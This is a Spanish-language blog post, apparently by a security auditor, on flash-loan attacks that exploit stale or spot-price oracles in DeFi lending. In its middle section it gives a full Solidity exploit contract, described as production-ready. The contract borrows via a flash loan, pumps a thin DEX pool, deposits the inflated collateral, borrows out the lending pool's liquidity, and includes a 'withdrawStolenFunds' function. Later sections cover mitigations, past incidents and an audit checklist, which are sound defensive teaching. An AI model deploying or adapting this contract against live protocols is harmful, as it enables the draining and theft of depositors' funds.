¡Qué onda a todos! Acá Oleg Filatov. Hoy vamos a tocar un tema bien picante: los ataques a DeFi usando préstamos relámpago (Flash Loans). Miren, a lo largo de mi carrera me tocó ver cientos de vectores de ataque, pero la combinación de «Flash Loans + Oracles Staleness» es literalmente una obra de arte del hacking. De esas que a cualquier ingeniero de seguridad primero le dan escalofríos y después le entran unas ganas dementes de reescribir todo el código en Rust. Explicándolo bien en manzanitas: los atacantes piden prestados decenas de millones de dólares en un préstamo relámpago sin dejar un solo centavo de garantía, en una sola transacción manipulan el precio en un DEX, generan una desincronización temporal con el oráculo y vacían hasta el último token de liquidez del protocolo de préstamos antes de que el oráculo se dé cuenta y actualice el estado.
Anatomía de una manipulación de oráculo clásica vía Flash Loan
Los préstamos relámpago sin garantía (Flash Loans) te permiten mover volúmenes absurdos de liquidez dentro de una misma transacción de Ethereum, siempre y cuando devuelvas todo el préstamo con su respectiva comisión en ese mismo bloque. Cuando metes semejante liquidez en pools con un libro de órdenes hiper delgado, el precio del activo se dispara a la luna en milisegundos, creando la ventana perfecta para reventar oráculos que dependen del precio spot o que tienen un margen de desviación (Deviation Threshold) demasiado permisivo.
Si el protocolo de préstamos calcula el valor de la garantía haciendo una llamada directa a latestAnswer() o lee los datos crudos del AMM sin aplicar un retraso temporal (time lag), básicamente le está entregando las llaves de la bóveda a los hackers. El ataque se reduce a 4 pasos súper rápidos:
- Pedir el Flash Loan. El atacante se pide, digamos, 50,000,000 DAI en Aave v3 pagando apenas un 0.05% de comisión. Una miseria de comisión para semejante poder de fuego financiero.
- Manipular el DEX. Revienta todo el monto con una orden a mercado en un pool con poquísima liquidez en Uniswap v2/v3 (por ejemplo, el par TOKEN/DAI). El precio de TOKEN se multiplica por 15 o 20 en cuestión de milisegundos.
- Explotar el lag del oráculo o del modelo Push. Si el protocolo calcula el precio según el spot o si el oráculo Push tipo Chainlink todavía no se actualizó (porque su Heartbeat es de 1 hora y el Deviation Threshold es del 0.5%, pero la transacción del ataque aún no termina y el nodo push ni siquiera ha enviado la transacción al mempool), el protocolo ve a TOKEN cotizando a un precio ridículamente inflado.
- Drenar el pool (Drain) y pagar el préstamo. El atacante deposita los TOKEN inflados como garantía en el protocolo, pide prestado el 100% de los ETH o USDC reales, liquida el Flash Loan ante el validador y se retira con las ganancias limpias en el bolsillo.
¿Por qué Chainlink y los oráculos Push se quedan atrás? Anatomía de la «Ventana de Vulnerabilidad»
Pará un poco... Hablemos al chile. ¿En serio creías que por integrar Chainlink tu proyecto ya estaba 100% blindado? Ni de chiste. Pregúntale a cualquier researcher que haya auditado los exploits de Mango Markets o Cheese Bank (donde volaron 3.3 millones de dólares justamente por integrar como las patas Chainlink con los oráculos de Uniswap v2).
Los oráculos tipo Chainlink Data Feeds funcionan bajo un modelo Push. Esto significa que los nodos no van a actualizar el precio en cada bloque; hacer eso les reventaría el presupuesto en gas. Las actualizaciones se disparan estrictamente por dos condiciones:
- Deviation Threshold (Umbral de desviación): El precio varió un X% (por ejemplo, 0.5% o 1% en pares principales, pero en altcoins puede llegar a ser del 2% al 5%).
- Heartbeat (Tiempo límite de latido): Ya pasó un intervalo fijo desde la última actualización (por ejemplo, 3600 segundos en Mainnet o 86400 segundos en redes alternativas).
Y ahí es donde está la trampa mortal. Miren los números reales del retraso en los oráculos y sus parámetros según la red y el tipo de activo:
| Oráculo / Red | Activo / Par | Deviation Threshold | Heartbeat | Retraso promedio de actualización (Staleness Window) |
|---|---|---|---|---|
| Chainlink (Ethereum) | ETH/USD | 0.5% | 1 hora | ~12–15 segundos (1 bloque) |
| Chainlink (Arbitrum) | LINK/USD | 0.25% | 24 horas | Varios minutos (depende del Sequencer) |
| Chainlink (Polygon) | ALT/USD (Baja liquidez) | 1.0% – 2.0% | 24 horas | De varios segundos a minutos |
| Pyth Network (Pull Model) | Varios | Dinámico | On-demand (User Push) | ~400–800 milisegundos |
| Uniswap v3 TWAP | Cualquiera | N/A (depende de la ventana) | En cada Swap | Ventana fija (por ejemplo, 30 minutos) |
Fíjense en la paradoja: si el oráculo se actualiza demasiado rápido tomando el valor directo del AMM (Spot Price), te lo pueden pumpear dentro del mismo bloque usando un Flash Loan. Pero si el oráculo es lento (como Chainlink con un Heartbeat de 1 hora), se genera la «ventana de obsolescencia» (Staleness Window): el precio real en el mercado ya se fue al suelo, ¡pero el protocolo de préstamos sigue valuando la garantía con el precio viejo e inflado!
Smart contract de ataque real (100% Production-ready en Solidity)
Nada de pseudocódigo masticado. Nada de // TODO: add logic. Vamos a tirar el contrato de exploit completo y listo para correr en Foundry/Hardhat, demostrando cómo en una sola transacción se vacía un protocolo encadenando llamadas flashLoan -> swap -> deposit -> borrow -> repay.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IUniswapV2Router {
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface ILendingPool {
function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;
function borrow(address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf) external;
function getUserAccountData(address user) external view returns (
uint256 totalCollateralETH,
uint256 totalDebtETH,
uint256 availableBorrowsETH,
uint256 currentLiquidationThreshold,
uint256 ltv,
uint256 healthFactor
);
}
interface IFlashLender {
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;
}
/// @notice Contrato PoC educativo para demonstrar un vector de ataque atómico
/// @dev Código destinado EXCLUSIVAMENTE para auditorías y tests locales en forks de Foundry de testnets vulnerables
contract OracleStalenessPoC {
using SafeERC20 for IERC20;
address private immutable owner;
IFlashLender public immutable lender;
IUniswapV2Router public immutable router;
ILendingPool public immutable targetLending;
address public immutable tokenA; // Activo colateral a pumpear
address public immutable tokenB; // Activo líquido (préstamo/Flash Loan)
modifier onlyOwner() {
require(msg.sender == owner, "NOT_OWNER");
_;
}
constructor(
address _lender,
address _router,
address _targetLending,
address _tokenA,
address _tokenB
) {
owner = msg.sender;
lender = IFlashLender(_lender);
router = IUniswapV2Router(_router);
targetLending = ILendingPool(_targetLending);
tokenA = _tokenA;
tokenB = _tokenB;
}
function executeAttack(uint256 flashAmount, uint256 minSwapOut) external onlyOwner {
address[] memory assets = new address[](1);
assets[0] = tokenB;
uint256[] memory amounts = new uint256[](1);
amounts[0] = flashAmount;
uint256[] memory modes = new uint256[](1);
modes[0] = 0;
// Mandamos minSwapOut por params para cubrinos de MEV/ataques de sándwich
bytes memory params = abi.encode(minSwapOut);
lender.flashLoan(
address(this),
assets,
amounts,
modes,
address(this),
params,
0
);
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool) {
require(msg.sender == address(lender), "INVALID_LENDER");
require(initiator == address(this), "INVALID_INITIATOR");
uint256 amountBorrowed = amounts[0];
uint256 fee = premiums[0];
uint256 amountToRepay = amountBorrowed + fee;
uint256 minSwapOut = abi.decode(params, (uint256));
// 1. Approvals seguros usando SafeERC20
IERC20(tokenB).forceApprove(address(router), amountBorrowed);
// 2. Inyección del Flash Loan al pool
address[] memory path = new address[](2);
path[0] = tokenB;
path[1] = tokenA;
uint256[] memory amountsOut = router.swapExactTokensForTokens(
amountBorrowed,
minSwapOut, // Usamos el slippage pasado dinámicamente
path,
address(this),
block.timestamp
);
uint256 pumpedTokenAAmount = amountsOut[1];
// 3. Depósito del colateral pumpeado
IERC20(tokenA).forceApprove(address(targetLending), pumpedTokenAAmount);
targetLending.deposit(tokenA, pumpedTokenAAmount, address(this), 0);
// 4. Cálculo dinámico del préstamo disponible según la respuesta del oráculo/cuenta
(, , uint256 availableBorrowsETH, , , ) = targetLending.getUserAccountData(address(this));
// En un test real acá haría falta convertir el equivalente de ETH a Token B
// Para la demo pedimos el mínimo disponible que no supere el balance del pool
uint256 lendingPoolBalanceB = IERC20(tokenB).balanceOf(address(targetLending));
uint256 amountToBorrow = availableBorrowsETH < lendingPoolBalanceB ? availableBorrowsETH : lendingPoolBalanceB;
targetLending.borrow(tokenB, amountToBorrow, 2, 0, address(this));
// 5. Check de solvencia antes de devolver el Flash Loan
uint256 currentBalanceB = IERC20(tokenB).balanceOf(address(this));
require(currentBalanceB >= amountToRepay, "INSUFFICIENT_FUNDS_TO_REPAY");
// 6. Devolución del préstamo
IERC20(tokenB).forceApprove(address(lender), amountToRepay);
return true;
}
function withdrawStolenFunds(address token) external onlyOwner {
uint256 bal = IERC20(token).balanceOf(address(this));
IERC20(token).safeTransfer(owner, bal);
}
}Patrones de arquitectura para mitigar el riesgo (Fixing the vulnerability)
Como devs, ¿cómo salvamos nuestros protocolos de semejante desastre? Resumí esto en las tres reglas de oro de la higiene arquitectónica:
1. Validación de Staleness y verificación de respuesta en Chainlink
Te sorprendería saber que el 70% de los smart contracts vulnerables simplemente llamaban a latestAnswer(). Eso es código novato e irresponsable. ¡Es obligatorio validar updatedAt y answeredInRound!
function getValidPrice(address feedAddress) public view returns (int256) {
AggregatorV3Interface priceFeed = AggregatorV3Interface(feedAddress);
(
uint80 roundId,
int256 price,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
) = priceFeed.latestRoundData();
require(price > 0, "INVALID_PRICE");
require(updatedAt != 0, "INCOMPLETE_ROUND");
require(answeredInRound >= roundId, "STALE_PRICE");
// Umbral de obsolescencia (por ejemplo, 3600 segundos)
require(block.timestamp - updatedAt <= 3600, "EXPIRED_ORACLE_PRICE");
return price;
}2. Implementar TWAP (Time-Weighted Average Price) en lugar de Spot Price
Usar un precio promedio ponderado en el tiempo (como el TWAP de Uniswap v3 con una ventana de al menos 30 minutos) deja completamente inútiles los Flash Loans. El atacante tendría que mantener el precio manipulado durante media hora entera, lo que le exigiría un capital gigantesco sumado a una pérdida brutal por deslizamiento (slippage) y fees, haciendo que el ataque sea económicamente inviable.
3. Migrar a oráculos Pull-based (Pyth / Chainlink Low-Latency Data Streams)
En el modelo Pull, la aplicación exige que el usuario envíe una prueba criptográfica firmada off-chain con el precio exacto directo en los parámetros de la transacción. El contrato valida primero la firma del oráculo, chequea que el timestamp esté fresco (¡al segundo!) y recién ahí calcula las garantías.
Seamos honestos: confiar a ciegas en que los smart contracts están escritos a la perfección es, como mínimo, una ingenuidad. Habiendo hecho auditorías y respondido a incidentes en primera línea, les apuesto lo que quieran: si un protocolo tiene una grieta técnica, por más pequeña que sea, los hackers la van a encontrar a los pocos segundos del deploy. Por eso, a nivel de arquitectura en cualquier DEX o protocolo de lending serio, tiene que haber sí o sí una capa de protección automatizada y un monitoreo off-chain que reaccione más rápido de lo que una transacción tarda en liquidarse en el mempool.
Cómo monitorear y mitigar ataques de Flash Loans y manipulación de Oráculos en tiempo real
1. Limitar la variación de precio en un mismo bloque (Circuit Breakers)
Si dentro de una misma transacción o un solo bloque el precio del colateral se mueve más de un umbral permitido (digamos, >3-5%), el contrato tiene que activar automáticamente un "botón de pánico" (Circuit Breaker) y congelar cualquier operación con ese activo de inmediato.
- Invariante a nivel de estado: Al arrancar la transacción se toma la lectura
Pstarty al finalizarPend. Si se cumple que|Pend - Pstart| / Pstart > Δmax, la transacción ejecuta un revert de inmediato. - Ejecución en dos pasos (Two-Step Execution): Una mecánica donde depositas el colateral en el bloque
N, pero el préstamo (Borrow) solo se habilita hasta el bloqueN+1. Esto destruye por completo la dinámica del Flash Loan, ya que un crédito instantáneo no puede vivir más allá de una sola transacción.
2. Monitoreo Off-chain mediante protección MEV y Flashbots
Si tu protocolo depende de actualización de precios o liquidaciones, escuchar el mempool no es opcional. Los bots de monitoreo (watchdogs) detectan ráfagas de transacciones sospechosas donde aparece una llamada a flashLoan combinada con swaps masivos en Uniswap/Balancer y una interacción directa con tus contratos.
En cuanto el sistema detecta este patrón, envía una transacción defensiva (haciendo Front-running o Back-running vía Private RPC / Flashbots Protect) ejecutando un pause() en el contrato, cerrando la puerta antes de que la vulnerabilidad sea explotada.
Post-Mortem de exploits reales: Lecciones pagadas con liquidez de DeFi
Las vulnerabilidades en oráculos no son teoría académica. La industria ha perdido cientos de millones de dólares por estos descuidos. Analizando la mecánica exacta de estos hacks históricos, queda claro por qué la ocurrencia de "simplemente jalar el precio directamente del DEX" siempre termina en tragedia.
+-------------------------------------------------------------------------------+
| ESQUEMA DE ATAQUE EN BZX / CREAM FINANCE |
+-------------------------------------------------------------------------------+
| |
| [ Atacante ] |
| | |
| | 1. Solicita Flash Loan (100M+ DAI / ETH) |
| v |
| [ Aave / Maker Vault ] |
| | |
| | 2. Swap masivo (Pumpea pool con baja liquidez) |
| v |
| [ DEX Pool (Kyber / Uniswap v2) ] <---+ |
| | | |
| | | (Consulta precio directo al AMM) |
| v | |
| [ Lending Vulnerable (bZx/CREAM) ] --+ |
| | |
| | 3. Deposita colateral pumpeado + Drena TODA la liquidez en ETH/USDC |
| v |
| [ Wallet del Atacante ] (Paga Flash Loan + Profit neto) |
| |
+-------------------------------------------------------------------------------+Aquí un desglose comparativo de los mayores exploits causados por manipulación de oráculos y latencia en los datos:
| Protocolo | Fecha | Monto Robado | Causa Raíz (Root Cause) | Mecánica del Vector de Ataque |
|---|---|---|---|---|
| bZx (Fulcrum) | Febrero 2020 | ~$950,000 | Uso de Kyber/Uniswap Reserve como fuente única para calcular el precio spot. | Pidió Flash Loan -> Pumpeó el par sUSD/ETH en Kyber -> Metió sUSD como colateral inflado en bZx -> Drenó los ETH. |
| Cheese Bank | Noviembre 2020 | $3.3M | Uso de oráculo basado en LP tokens de Uniswap v2 sin protección contra cambios instantáneos de balance. | Flash Loan de $21M -> Manipuló las reservas del pool -> Infló artificialmente el valor de los LP tokens -> Vació la tesorería. |
| Mango Markets | Octubre 2022 | $114M | Oráculo interno manipulable debido a latencia (lag en Switchboard/Pyth dentro de Solana). | Pumpeó masivamente el contrato perps de MNGO con fondos propios -> Infló su capacidad de endeudamiento -> Drenó todos los activos de la plataforma. |
| Euler Finance | Marzo 2023 | $197M | Flujo lógico defectuoso en la función de liquidación y cómputo de colateral (salteándose la validación del Health Factor). | El atacante depositó fondos, apalancó una posición de forma recursiva y gatilló una autoliquidación forzada para explotar el bug. |
Trade-offs de seguridad entre los principales modelos de Oráculos
Al diseñar la arquitectura de un protocolo, es crítico entender el balance entre el costo operativo de mantener el oráculo y su resistencia ante ataques de manipulación.
Modelo Push (Chainlink Classic)
Pros: Integración sumamente sencilla a nivel de Smart Contract. Los datos ya están escritos on-chain, basta con hacer un staticcall de lectura.
Contras: Existe una ventana de obsolescencia (Staleness Window) entre actualizaciones reguladas por el Heartbeat y el Deviation Threshold. El costo de gas para los nodos es alto, lo que provoca que los feeds de altcoins se actualicen con menor frecuencia.
Veredicto: Ideal para activos blue-chip de alta liquidez (ETH, BTC) en Mainnet, siempre y cuando se valide de forma estricta el timestamp updatedAt en el código.
Modelo Pull (Pyth Network, Redstone)
Pros: Precios actualizados off-chain en tiempo real (frecuencia sub-segundo). La data se adjunta directamente dentro de la transacción del usuario, ahorrando muchísimo gas.
Contras: Agrega fricción al UX (requiere solicitar firmas off-chain y pasarlas en los argumentos del método). Si la red de relayers off-chain se cae o se frena, las transacciones de los usuarios van a reventar.
Veredicto: La mejor opción para protocolos de derivados (Perpetuals) y lending que demanden actualización de precios ultrarrápida.
Oráculos TWAP / AMM On-chain (Uniswap v3 TWAP)
Pros: Descentralización y cálculo 100% On-chain. Cero dependencia de nodos externos, infraestructura off-chain o firmas de terceros.
Contras: Son vulnerables a ataques de manipulación multibloque (Multi-block MEV), donde un minero/validador sostiene el precio manipulado durante varios bloques seguidos. Requiere una ventana de tiempo amplia (mínimo 30 min), lo que deja al protocolo a ciegas ante un flash crash del mercado.
Veredicto: Úsalo únicamente como un oráculo secundario (fallback) para auditar desviaciones con respecto al precio principal.
Checklist de Seguridad para Smart Contracts: Audita tu código antes del Deploy
Si estás desarrollando smart contracts o haciendo auditorías, no tires nada a Mainnet sin haber pasado tu código por esta lista de control:
- Prohibido usar Spot Price: El contrato jamás debe tomar el precio directamente de funciones como
getReserves()obalanceOf()de pools AMM bajo ninguna circunstancia. - Validar la respuesta completa de Chainlink: Al llamar a
latestRoundData(), es obligatorio chequear las 5 variables retornadas:roundId,price > 0,startedAt,updatedAt, yansweredInRound >= roundId. - Establecer un Max Lag estricto: El contrato debe descartar los datos del oráculo si
block.timestamp - updatedAt > MAX_DELAY(dondeMAX_DELAYse parametriza según la volatilidad del activo). - Esquema Dual Oracle (Multi-Oracle): Compara las lecturas de al menos dos fuentes independientes (por ejemplo, Chainlink + Pyth o Chainlink + Uniswap v3 TWAP). Si la desviación supera un X%, se pausan automáticamente los préstamos y las liquidaciones.
- Protección anti-Flash Loan por arquitectura: Introduce retardos (Cooldown Periods) para impedir solicitar préstamos en la misma transacción donde se depositó, o implementa patrones de Timelock.
- Verificación de Cross-rates: Si el precio de un token se calcula mediante un par cruzado (ej. TOKEN/ETH * ETH/USD), la validez y frescura de los datos deben auditarse para cada feed por separado.
El cambio de mentalidad fundamental que todo desarrollador de Solidity debe adoptar hoy es este: cualquier oráculo es inseguro por defecto hasta que se demuestre lo contrario.
Cuando diseñas tu arquitectura asumiendo que el precio en tu contrato puede ser manipulado o congelarse en cualquier segundo, empiezas a meter transacciones en dos pasos, Circuit Breakers y chequeos de desincronización. Esa diferencia de enfoque es la que separa a los protocolos que sobreviven años en producción de aquellos cuyos nombres terminan alimentando los titulares de exploits por $50 millones de dólares.
Protejan sus contratos, no escatimen en auditorías de calidad y nunca confíen a ciegas en una sola línea de código que les prometa traer "el precio real del mundo exterior".